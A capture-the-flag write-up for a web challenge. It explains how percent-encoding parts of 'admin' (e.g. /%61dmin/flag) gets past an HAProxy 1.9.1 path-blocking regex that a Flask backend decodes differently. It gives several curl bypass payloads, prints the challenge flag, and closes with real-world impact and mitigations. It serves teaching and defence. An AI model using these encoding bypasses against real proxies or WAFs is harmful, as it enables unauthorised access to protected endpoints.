Borderline Personality

Eh4x CTFby smothy

Borderline Personality - EH4X CTF Writeup

Category: Web | Points: 480 | Solves: 33 | Author: N0nchalantAc1d

"The proxy thinks it's in control. The backend thinks it's safe. Find the space between their lies and slip through."


First Look

Alright so we get a zip file with the full source code. Love when CTF authors do that, no guessing games. Lets see what we're working with:

handout/ docker-compose.yml haproxy/ haproxy.cfg backend/ app.py Dockerfile requirements.txt templates/index.html

Two services - HAProxy sitting in front of a Flask backend. Classic reverse proxy setup.

The moment I saw "proxy" and "backend" in the same sentence, my brain immediately went to parser differential.

its free real estate


Reading the Source

HAProxy Config (haproxy.cfg)

global log stdout format raw local0 maxconn 2000 defaults log global mode http timeout connect 5000ms timeout client 50000ms timeout server 50000ms frontend http-in bind *:8080 acl restricted_path path -m reg ^/+admin http-request deny if restricted_path default_backend application_backend backend application_backend server backend1 backend:5000

The important line is this ACL rule:

acl restricted_path path -m reg ^/+admin http-request deny if restricted_path

Translation: "If the path starts with one or more / followed by admin, block it." So /admin, //admin, ///admin - all blocked.

Flask Backend (app.py)

python
@app.route('/admin/flag', methods=['GET', 'POST'])
def flag():
    return "EHAX{TEST_FLAG}\n", 200

Flag is sitting right there at /admin/flag. We just can't reach it because HAProxy is playing bouncer.

HAProxy Blocking

Versions Matter!

yaml
# docker-compose.yml
haproxy:
    image: haproxy:1.9.1-alpine   # <--- OLD version, noted.

# requirements.txt
Flask==2.0.3
Werkzeug==2.0.3

Old HAProxy version. Old Werkzeug. When I see old versions in CTFs, I start smiling.


The Vulnerability: Parser Differential (URL Encoding Bypass)

This is a classic proxy vs backend parser mismatch. Here's the key insight:

HAProxy's path fetcher returns the RAW URL path - it does NOT decode percent-encoded characters before matching the ACL regex.

Flask/Werkzeug DOES decode percent-encoded characters before routing the request.

So if we URL-encode part of the word admin, HAProxy sees gibberish but Flask sees admin. They're looking at the same request but reading it differently.

Parser Differential

This is the same class of bug you see everywhere in real-world WAF bypasses. The proxy and backend disagree on what the URL means. That disagreement is the gap we slip through.

ASCII Table refresher for the homies:

  • a = 0x61 = %61
  • d = 0x64 = %64
  • / = 0x2F = %2F

Any character in "admin" can be encoded!


The Solve

One curl. That's it. That's the whole exploit.

bash
curl http://chall.ehax.in:9098/%61dmin/flag
EH4X{BYP4SSING_R3QU3S7S_7HR0UGH_SMUGGLING__IS_H4RD}

480pt challenge, one curl. ez clap.

too easy


Why This Works - The Educational Deep Dive

URL Encoding 101

URL encoding (aka percent-encoding) is defined in RFC 3986. A % followed by two hex digits represents a single byte. %61 = byte 0x61 = ASCII a.

Every web server is supposed to decode these before processing, but not every component in the chain does it at the same time.

The Trust Gap

Request Flow

HAProxy does its security check on the raw URL. It sees %61dmin and thinks "that's not admin" and lets it through. Flask decodes the URL and routes it to /admin/flag happily.

Other Payloads That Would Also Work

Any encoding of the letters in admin bypasses the regex:

bash
# Encode the 'a'
curl http://chall.ehax.in:9098/%61dmin/flag

# Encode the 'd'
curl http://chall.ehax.in:9098/a%64min/flag

# Encode multiple characters
curl http://chall.ehax.in:9098/%61%64%6din/flag

# Go full percent-encoding
curl http://chall.ehax.in:9098/%61%64%6d%69%6e/flag

All of these bypass the regex because HAProxy doesn't decode any of them.


Real-World Impact

This isn't just a CTF trick. This class of vulnerability shows up constantly in production:

  1. WAF Bypasses - Web Application Firewalls that check raw URLs can be bypassed with URL encoding, double encoding, or Unicode normalization
  2. Nginx + Backend mismatches - Nginx location blocks vs backend routing
  3. Cloud WAF + Origin - Cloudflare/AWS WAF rules vs the actual application server
  4. API Gateways - Kong, Traefik, Envoy all have their own URL parsing quirks

The lesson: never trust that the proxy and backend see the same URL. If your security depends on URL path matching at the proxy level, make sure it normalizes/decodes the URL first.

Mitigations

  • Use HAProxy's url_dec converter: path,url_dec -m reg ^/+admin (decode THEN match)
  • Upgrade HAProxy - newer versions have better normalization options
  • Apply security checks at the application layer too (defense in depth)
  • Use http-request normalize-uri directives (HAProxy 2.4+)

Flag

EH4X{BYP4SSING_R3QU3S7S_7HR0UGH_SMUGGLING__IS_H4RD}

GG to N0nchalantAc1d for a clean challenge. Simple concept, good learning opportunity.


"In the space between what the proxy sees and what the backend believes, lies the exploit."

- Sun Tzu, probably